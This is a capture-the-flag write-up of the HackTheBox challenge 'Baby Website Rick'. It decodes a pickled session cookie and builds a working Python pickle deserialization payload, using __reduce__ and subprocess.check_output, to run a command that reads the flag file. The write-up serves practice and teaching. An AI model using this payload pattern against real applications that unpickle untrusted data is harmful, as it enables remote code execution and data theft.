> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/hackthebox/challenges/baby-website-rick.md).

# Baby Website Rick

Pickle Deserialization with a slight twist

We are presented with a web application that seems to point to some form of pickle deserialization attack from the start.

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2Fu8uS3VSkfTgWMhWTSaRD%2Fimage.png?alt=media&amp;token=fdb3f6dc-e0eb-4a1d-8c88-38942be3f2cf" alt=""><figcaption></figcaption></figure>

We can also see that a suspicious looking base64 string is encoded in the cookie, which seems to be a pickle object.

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2Fry4F6TraPgEuArpd98bi%2Fimage.png?alt=media&amp;token=440c69c8-3e71-4abb-a13a-3ff4a70e8c59" alt=""><figcaption></figcaption></figure>

We can first try to decode the existing pickle object with `pickle.loads`, adding the appropriate `anti_pickle_serum` object.

```python
import pickle
import base64

data = 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'
class anti_pickle_serum(object):
    def __init__(self):
        return None
    
data =  pickle.loads(base64.b64decode(data))
print(data)
## OUTPUT
(12) ┌──(12)─(kali㉿kali)-[~/Desktop/CTF/Web/Baby Website Rick]
└─$ python2 decode.py 
{'serum': <__main__.anti_pickle_serum object at 0x7f8b351843d0>}
                
```

We can now craft our payload based on [this article ](https://davidhamann.de/2020/04/05/exploiting-python-pickle/), using the `__reduce__` attribute to place our malicious code.

After some trial and error, i realized that `os.system()` doesnt directly return my command output which is why i opted for `subprocess.check_output` as it captures the standard output of the external command as a string and returns it.

```python
import pickle
import base64
import subprocess
import os
class RCEStr(object):
    def __reduce__(self):
        #if output is not shown, can use subprocess.check_output as well
        return  (subprocess.check_output), (['cat','flag_wIp1b'],)
    
pickle_data = pickle.dumps({'serum': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))
```

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2F4alqGas3oaFSKRgdoV1k%2Fimage.png?alt=media&amp;token=2974c859-197b-4dc3-a8f5-9c6d410e2ccb" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Pickle's Protocol might matter in this case as well as the version of python that you are using as I only got it to work with python2 and protocol 0.
{% endhint %}
